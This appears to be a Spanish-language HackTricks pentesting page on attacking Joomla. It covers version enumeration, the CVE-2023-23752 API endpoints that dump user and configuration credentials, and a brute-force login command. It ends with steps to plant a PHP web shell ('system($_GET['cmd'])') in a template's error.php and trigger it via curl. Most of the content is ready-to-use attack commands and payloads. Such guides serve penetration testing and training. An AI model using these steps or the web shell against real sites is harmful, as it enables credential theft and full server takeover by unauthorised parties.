5.8 KiB
Joomla
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Joomla Statistics
Joomla recopila algunas estadísticas de uso anónimas, como la descomposición de las versiones de Joomla, PHP y bases de datos, y los sistemas operativos de servidor en uso en las instalaciones de Joomla. Estos datos se pueden consultar a través de su API pública.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumeración
Descubrimiento/Recopilación de Información
- Verifica el meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Versión
- En /administrator/manifests/files/joomla.xml puedes ver la versión.
- En /language/en-GB/en-GB.xml puedes obtener la versión de Joomla.
- En plugins/system/cache/cache.xml puedes ver una versión aproximada.
Automático
droopescan scan joomla --url http://joomla-site.local/
En 80,443 - La metodología de pentesting web es una sección sobre escáneres de CMS que pueden escanear Joomla.
Divulgación de Información No Autenticada a través de API:
Las versiones de 4.0.0 a 4.2.7 son vulnerables a la divulgación de información no autenticada (CVE-2023-23752) que volcará credenciales y otra información.
-
Usuarios:
http://<host>/api/v1/users?public=true
-
Archivo de Configuración:
http://<host>/api/index.php/v1/config/application?public=true
Módulo MSF: scanner/http/joomla_api_improper_access_checks
o script ruby: 51334
Fuerza Bruta
Puedes usar este script para intentar realizar un ataque de fuerza bruta en el inicio de sesión.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Si lograste obtener credenciales de administrador, puedes RCE dentro de él agregando un fragmento de código PHP para obtener RCE. Podemos hacer esto personalizando una plantilla.
- Haz clic en
Templates
en la parte inferior izquierda bajoConfiguration
para abrir el menú de plantillas. - Haz clic en un nombre de plantilla. Elijamos
protostar
bajo el encabezado de columnaTemplate
. Esto nos llevará a la páginaTemplates: Customise
. - Finalmente, puedes hacer clic en una página para abrir el código fuente de la página. Elijamos la página
error.php
. Agregaremos un PHP one-liner para obtener ejecución de código de la siguiente manera: system($_GET['cmd']);
- Guardar y cerrar
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.